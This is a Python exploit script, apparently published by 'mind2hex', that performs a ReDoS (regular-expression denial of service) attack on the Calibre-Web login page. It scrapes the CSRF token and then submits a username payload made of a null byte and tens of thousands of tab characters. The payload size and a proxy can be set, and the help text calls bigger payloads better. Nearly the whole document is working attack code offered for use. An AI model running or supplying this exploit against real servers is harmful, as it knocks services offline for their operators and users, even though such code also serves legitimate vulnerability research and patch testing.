README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import logging
import signal
import sys
import requests
import re
from urllib.parse import urlparse, ParseResult
__version__ = "1.0.0"
__author__ = "mind2hex"
class Config:
"""
Class to store parsed arguments
"""
def __init__(self):
parser = argparse.ArgumentParser(
prog="./exploit.py",
usage="./exploit.py [options]",
description="ReDoS exploit for calibre web application.",
epilog="https://github.com/mind2hex",
formatter_class=argparse.RawTextHelpFormatter,
)
# general arguments here
parser.add_argument(
"-u",
"--url",
metavar="",
type=self.url_type,
required=True,
help="Target url. REQUIRED",
)
parser.add_argument(
"-p",
"--proxy",
metavar="",
type=self.url_type,
help="Proxy URL (e.g., http://127.0.0.1:8080)",
)
parser.add_argument(
"-s",
"--size",
metavar="",
type=int,
help="Size of the payload (the bigger, the better) [default to 60000]",
default=60000
)
# parsing arguments
args = parser.parse_args()
# storing arguments
self.url = args.url
if args.proxy:
self.proxy = {"https":args.proxy, "http":args.proxy}
else:
self.proxy = None
self.size = args.size
def url_type(self, url: str) -> ParseResult:
"""
Validates and parses a URL string.
Args:
url (str): The URL string to be validated and parsed.
Returns:
ParseResult: The parsed URL object.
Raises:
argparse.ArgumentTypeError: If the URL is not valid.
"""
parsed_url = urlparse(url)
if not all([parsed_url.scheme, parsed_url.netloc]):
raise argparse.ArgumentTypeError(f"'{url}' is not a valid url.")
return parsed_url
def show_config(self) -> None:
"""
Displays the current configuration settings.
Prints all non-private and relevant attributes of the Config instance,
excluding attributes listed in the `exclude` list.
Returns:
None
"""
print("=" * 100)
for attr, value in self.__dict__.items():
if not attr.startswith("_"):
print(f"[!] {attr:>13s}: {value}")
print("=" * 100)
def signal_handler(sig, frame) -> None:
"""
Handles termination signals to allow the program to exit gracefully.
Args:
sig (int): Signal number that was received.
frame (FrameType): The current stack frame.
Returns:
None
"""
logger.warning(f"Signal {sig} received from {frame}, exiting gracefully...")
sys.exit(0)
def setup_logger() -> logging.Logger:
"""
Configures and returns a logger instance for the script.
The logger is set to the DEBUG level and outputs messages to the console.
Returns:
logging.Logger: A configured logger instance.
"""
logger = logging.getLogger("tool_logger")
logger.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter(
"%(asctime)s - %(name)s - %(levelname)s - %(message)s"
)
ch.setFormatter(formatter)
logger.addHandler(ch)
return logger
def main():
"""
Main function to execute the script's core logic.
This function acts as the entry point for the script, managing the overall flow
and calling other functions as needed.
Returns:
None
"""
session = requests.Session()
try:
response = session.get(config.url.geturl(), proxies=config.proxy)
csrf_token = re.search(r'name="csrf_token" value="([^"]+)"', response.text).group(1)
logger.info(f"csrf_token obtained: {csrf_token[:40]}")
payload = '\x00' + ('\t' * config.size) + '\t\x00'
body = {
"csrf_token": csrf_token,
"username": payload,
"password": "EAT THIS"
}
logger.info("Sending payload")
session.post(config.url.geturl() + "/login", data=body, proxies=config.proxy)
logger.info("Request sent and response received")
except AttributeError:
logger.error(f"No csrf_token was found")
exit(1)
except Exception as e:
logger.error(f"An unexpected error ocurred: {e}")
exit(1)
# logger to show events in different levels
logger = setup_logger()
# signal for program termination and progran interruptions.
signal.signal(signal.SIGTERM, signal_handler)
signal.signal(signal.SIGINT, signal_handler)
# initializating config here to be accessible globally
config = Config()
config.show_config()
if __name__ == "__main__":
main()